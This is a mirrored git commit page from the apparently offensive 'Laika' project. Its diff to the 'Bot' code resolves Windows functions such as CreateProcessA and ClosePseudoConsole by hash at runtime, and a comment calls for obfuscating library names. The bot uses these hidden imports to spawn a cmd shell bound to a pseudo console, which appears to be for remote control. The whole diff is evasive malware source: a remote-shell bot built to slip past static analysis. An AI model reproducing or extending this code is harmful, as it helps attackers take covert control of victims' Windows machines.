mirror of
https://github.com/CPunch/Laika.git
synced 2024-12-04 02:43:45 +00:00
Bot: More APIs added to laikaO_init()
- Misc. functions converted to their UTF-8 version - ClosePseudoConsole & CreateProcessA are now manually 'linked' during runtime
This commit is contained in:
parent
4c8fef7d64
commit
fdbe6cf3c7
@ -10,9 +10,13 @@
|
|||||||
/* WINAPI types */
|
/* WINAPI types */
|
||||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, HPCON *);
|
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, HPCON *);
|
||||||
|
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
|
||||||
|
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||||
|
|
||||||
extern _ShellExecuteA oShellExecuteA;
|
extern _ShellExecuteA oShellExecuteA;
|
||||||
extern _CreatePseudoConsole oCreatePseudoConsole;
|
extern _CreatePseudoConsole oCreatePseudoConsole;
|
||||||
|
extern _ClosePseudoConsole oClosePseudoConsole;
|
||||||
|
extern _CreateProcessA oCreateProcessA;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
void laikaO_init();
|
void laikaO_init();
|
||||||
|
@ -137,10 +137,10 @@ _findByHashFail:
|
|||||||
|
|
||||||
_ShellExecuteA oShellExecuteA;
|
_ShellExecuteA oShellExecuteA;
|
||||||
_CreatePseudoConsole oCreatePseudoConsole;
|
_CreatePseudoConsole oCreatePseudoConsole;
|
||||||
|
_ClosePseudoConsole oClosePseudoConsole;
|
||||||
|
_CreateProcessA oCreateProcessA;
|
||||||
|
|
||||||
/* todo api:
|
/* TODO:
|
||||||
ClosePseudoConsole
|
|
||||||
CreateProcessA
|
|
||||||
GetEnvironmentVariable
|
GetEnvironmentVariable
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@ -151,13 +151,10 @@ void laikaO_init()
|
|||||||
/* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */
|
/* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */
|
||||||
oShellExecuteA = (_ShellExecuteA)findByHash("shell32.dll", 0x89858cd3);
|
oShellExecuteA = (_ShellExecuteA)findByHash("shell32.dll", 0x89858cd3);
|
||||||
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
|
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
|
||||||
|
oClosePseudoConsole = (_ClosePseudoConsole)findByHash("kernel32.dll", 0xeff42590);
|
||||||
|
oCreateProcessA = (_CreateProcessA)findByHash("kernel32.dll", 0x9e687c1d);
|
||||||
|
|
||||||
/*
|
/*
|
||||||
hash = getHashName("CreateProcessA"); // 0x9e687c1d
|
|
||||||
printf("CreateProcessA: real is %p, hashed is %p. [HASH: %x]\n",
|
|
||||||
(void *)CreateProcessA,
|
|
||||||
findByHash("kernel32.dll", hash), hash);
|
|
||||||
|
|
||||||
hash = getHashName("InitializeProcThreadAttributeList");
|
hash = getHashName("InitializeProcThreadAttributeList");
|
||||||
printf("InitializeProcThreadAttributeList: real is %p, hashed is %p. [HASH: %x]\n",
|
printf("InitializeProcThreadAttributeList: real is %p, hashed is %p. [HASH: %x]\n",
|
||||||
(void *)InitializeProcThreadAttributeList,
|
(void *)InitializeProcThreadAttributeList,
|
||||||
|
@ -24,7 +24,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
|||||||
|
|
||||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||||
{
|
{
|
||||||
TCHAR szComspec[MAX_PATH];
|
CHAR szComspec[MAX_PATH];
|
||||||
struct sLaika_RAWshell *shell =
|
struct sLaika_RAWshell *shell =
|
||||||
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||||
HRESULT hr;
|
HRESULT hr;
|
||||||
@ -40,7 +40,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* get user's shell path */
|
/* get user's shell path */
|
||||||
if (GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) == 0) {
|
if (GetEnvironmentVariableA("COMSPEC", szComspec, MAX_PATH) == 0) {
|
||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@ -48,14 +48,14 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
|||||||
/* create process */
|
/* create process */
|
||||||
hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
|
hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
|
||||||
if (hr != S_OK) {
|
if (hr != S_OK) {
|
||||||
ClosePseudoConsole(shell->pseudoCon);
|
oClosePseudoConsole(shell->pseudoCon);
|
||||||
|
|
||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* launch cmd shell */
|
/* launch cmd shell */
|
||||||
hr = CreateProcess(NULL, /* No module name - use Command Line */
|
hr = oCreateProcessA(NULL, /* No module name - use Command Line */
|
||||||
szComspec, /* Command Line */
|
szComspec, /* Command Line */
|
||||||
NULL, /* Process handle not inheritable */
|
NULL, /* Process handle not inheritable */
|
||||||
NULL, /* Thread handle not inheritable */
|
NULL, /* Thread handle not inheritable */
|
||||||
@ -72,7 +72,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
|||||||
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
||||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||||
|
|
||||||
ClosePseudoConsole(shell->pseudoCon);
|
oClosePseudoConsole(shell->pseudoCon);
|
||||||
|
|
||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
return NULL;
|
return NULL;
|
||||||
@ -97,7 +97,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
|||||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||||
|
|
||||||
/* close pseudo console */
|
/* close pseudo console */
|
||||||
ClosePseudoConsole(shell->pseudoCon);
|
oClosePseudoConsole(shell->pseudoCon);
|
||||||
|
|
||||||
/* free shell struct */
|
/* free shell struct */
|
||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
|
Loading…
Reference in New Issue
Block a user